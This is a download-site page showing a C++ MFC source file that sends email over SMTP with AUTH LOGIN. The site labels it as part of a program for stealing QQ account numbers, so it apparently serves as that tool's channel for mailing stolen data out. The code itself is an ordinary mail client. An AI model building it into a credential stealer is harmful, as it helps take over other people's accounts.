⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 authsmtp.cpp

📁 qq盗去号码的小程序
💻 CPP
字号:
// AuthSMTP.cpp: implementation of the CAuthSMTP class.
//
//////////////////////////////////////////////////////////////////////

#include "stdafx.h"

#include "AuthSMTP.h"

#include "UTIL_Base64Coder.h"
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif

//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

CAuthSMTP::CAuthSMTP()
{
	m_sock.Create();
	m_num=0;
}

CAuthSMTP::~CAuthSMTP()
{
    m_sock.Close();
}

BOOL CAuthSMTP::Connect(CString SMTPHost)
{
	char buf [1000];
//	TCHAR local_host[80];
//	memset(local_host,0,80);
	for (int i=0;i < 512;i++)
		buf[i]='\0';

	m_sock.Connect((LPCTSTR)SMTPHost,25);
	m_sock.Receive(buf, sizeof(buf));
    m_info[m_num++]=buf;

//	gethostname( local_host, 80 );   //得到本地机器标准主机名
	CString strSend = _T("HELO 263.net\r\n");
//	strSend.Format(, "263.net");//local_host);
	for (i=0;i < 512;i++)
		buf[i]='\0';
	m_sock.Send((LPCTSTR)strSend,strSend.GetLength());
   	m_sock.Receive(buf, sizeof(buf));
    m_info[m_num++]=buf;
    
	return TRUE;
}

BOOL CAuthSMTP::Authent(CString mailUser, CString mailPwd)
{
	char buf [1000];
	for (int i=0;i < 512;i++)
		buf[i]='\0';

	CString strSend=_T("AUTH LOGIN\r\n");
	m_sock.Send((LPCTSTR)strSend,strSend.GetLength());
	m_sock.Receive(buf, sizeof(buf));
    m_info[m_num++]=buf;

	UTIL_Base64Coder cb;
	CString  strAuth  = mailUser;  
	char  chTemp[1024]; 
	ZeroMemory(chTemp,  1024); 
	CString  strEncode;
	cb.Encode(strAuth.GetBuffer(0),  strAuth.GetLength(),strEncode); 
	//strEncode就为加密后的密文 
	sprintf(chTemp,  "%s\r\n",  strEncode); 
	strAuth.ReleaseBuffer(); 
	strSend.Format(_T("%s\r\n"),strEncode);
	m_sock.Send((LPCTSTR)strSend,strSend.GetLength());
	m_sock.Receive(buf, sizeof(buf));
    m_info[m_num++]=buf;

	strAuth  = mailPwd; 
	ZeroMemory(chTemp,  1024); 
	cb.Encode(strAuth.GetBuffer(0),  strAuth.GetLength(),strEncode); 
	//strEncode就为加密后的密文 
	sprintf(chTemp,  "%s\r\n",  strEncode); 
	strAuth.ReleaseBuffer(); 
	strSend.Format(_T("%s\r\n"),strEncode);
	m_sock.Send((LPCTSTR)strSend,strSend.GetLength());
	m_sock.Receive(buf, sizeof(buf));
    m_info[m_num++]=buf;

    return TRUE;
}

BOOL CAuthSMTP::FromTo(CString mailFrom, CString mailTo)
{
	char buf [1000];
	for (int i=0;i < 512;i++)
		buf[i]='\0';
	CString strSend;
	strSend.Format(_T("MAIL FROM:<%s>\r\n"),mailFrom);
	m_sock.Send((LPCTSTR)strSend,strSend.GetLength());
	m_sock.Receive(buf, sizeof(buf));
    m_info[m_num++]=buf;

	for (i=0;i < 512;i++)
		buf[i]='\0';
	strSend.Format(_T("RCPT TO:<%s>\r\n"),mailTo);
	m_sock.Send((LPCTSTR)strSend,strSend.GetLength());
	m_sock.Receive(buf, sizeof(buf));
    m_info[m_num++]=buf;

	return TRUE;
}

BOOL CAuthSMTP::SendEmail(CString Subject,CString Body)
{
	char buf [1000];
	for (int i=0;i < 512;i++)
		buf[i]='\0';
	CString strSend=_T("DATA\r\n");
	m_sock.Send((LPCTSTR)strSend,strSend.GetLength());
	m_sock.Receive(buf, sizeof(buf));
    m_info[m_num++]=buf;

	strSend.Format(_T("SUBJECT:<%s>\r\n"),Subject);
	m_sock.Send((LPCTSTR)strSend,strSend.GetLength());

	strSend.Format(_T("<%s>\r\n"),Body);
	m_sock.Send((LPCTSTR)strSend,strSend.GetLength());

   	for (i=0;i < 512;i++)
		buf[i]='\0';
	strSend=_T(".\r\n");
	m_sock.Send((LPCTSTR)strSend,strSend.GetLength());
	m_sock.Receive(buf, sizeof(buf));
    m_info[m_num++]=buf;

	return TRUE;
}

BOOL CAuthSMTP::DisConnect()
{
	char buf [1000];
	for (int i=0;i < 512;i++)
		buf[i]='\0';
	CString strSend=_T("QUIT \r\n");
	m_sock.Send((LPCTSTR)strSend,strSend.GetLength());
	m_sock.Receive(buf, sizeof(buf));
    m_info[m_num++]=buf;

	return TRUE;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -